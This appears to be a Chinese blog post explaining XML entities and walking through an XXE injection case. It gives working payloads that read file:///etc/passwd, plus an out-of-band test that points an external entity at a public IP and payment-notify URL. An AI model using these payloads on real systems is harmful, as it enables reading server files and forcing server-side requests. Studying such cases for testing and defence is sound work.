ENTITY 实体 
在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。 
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。 
ENTITY的定义语法:

<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>

xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件

<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

网址地址:

抓包数据如下:

构造xml注入脚本

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Agoly>&xxe;</Agoly>

脚本2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>type sth!</search>
<value>&xxe;</value>
</root>

测试方法3:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Agoly [ <!ENTITY xxe SYSTEM "http://183.62.174.46:9598/45/payment/pay/notify/heilpay/app">
]>
<Agoly>&xxe;</Agoly>

因为测试的ip是公网环境,所以SYSTEM "http://183.62.174.46也是需要为公网环境

查看http://183.62.174.46:9598/45/payment/pay/notify/heilpay/app系统的访问日志

说明系统的地址被访问了,所以存在xxe漏洞

http://www.cnblogs.com/miyeah/p/4526088.html

http://www.cnblogs.com/vincebye/p/7199290.html

XXE (XML External Entity Injection) 外部实体注入漏洞案例分析的更多相关文章

  1. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  2. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  3. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  4. Fortify漏洞之XML External Entity Injection(XML实体注入)

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  5. 【译】Attacking XML with XML External Entity Injection (XXE)

    原文链接:Attacking XML with XML External Entity Injection (XXE) XXE:使用XML外部实体注入攻击XML 在XML中,有一种注入外部文件的方式. ...

  6. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  7. XXE外部实体注入漏洞——PHP

    前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...

  8. XXE外部实体注入漏洞

    XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...

  9. XXE外部实体注入漏洞总结

    XXE 漏洞原理 XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害. 漏洞危害 ...

随机推荐

  1. 034_nginx报错总结

    一.nginx: [emerg] "client_header_timeout" directive is not allowed here in /opt/nginx/conf/ ...

  2. socket 通信 error:88

    调用函数(setsockopt)来设置 recv buffer 和send  buffer时报错: setsockopt error: Socket operation on non-socket(e ...

  3. ansible笔记(2):清单配置详解

    上一篇文章介绍了ansible的基本概念,以及相关的基础配置,我们已经知道,如果想要管理受管主机,则需要将受管主机添加到ansible的管理清单中,当安装ansible以后,会提供一个默认的管理清单, ...

  4. nginx配置文件注释说明

    #定义Nginx运行的用户和用户组 user www www; #nginx进程数,建议设置为等于CPU总核心数. worker_processes 8; #全局错误日志定义类型,[ debug | ...

  5. [JavaScript]为JS处理二进制数据提供可能性的WEB API

    写这篇博客的起源是在div.io上的一篇文章<你所不知道的JavaScript数组>by 小胡子哥下的评论中的讨论. 因为随着XHR2和现代浏览器的普及,在浏览器当中处理二进制不再向过去那 ...

  6. 获取ScrollView ListView的当前位置的百分比

    找不到官方的API,就自己写了一下,下面是自己写的函数 --获取滚动层当前位置的百分比 function GetScrollViewPercent(scrollView) if scrollView ...

  7. 洛谷P5110 块速递推 [分块]

    传送门 思路 显然可以特征根方程搞一波(生成函数太累),得到结果: \[ a_n=\frac 1 {13\sqrt{337}} [(\frac{233+13\sqrt{337}}{2})^n-(\fr ...

  8. swift 学习- 27 -- 访问控制

    // 访问控制 可以限定其源文件 或模块中的代码对你的代码的访问级别, 这个特性可以让我们隐藏代码的一些实现细节, 并且可以为其他人可以访问和使用的代码提供接口 // 你可以明确地给某个类型 (类, ...

  9. PID控制器开发笔记之二:积分分离PID控制器的实现

    前面的文章中,我们已经讲述了PID控制器的实现,包括位置型PID控制器和增量型PID控制器.但这个实现只是最基本的实现,并没有考虑任何的干扰情况.在本节及后续的一些章节,我们就来讨论一下经典PID控制 ...

  10. 【MySql】delete用法

    delete 语句用于删除表中的数据, 基本用法为: delete from 表名称 where 删除条件; 以下是在表 students 中的实例: 删除 id 为 3 的行: delete fro ...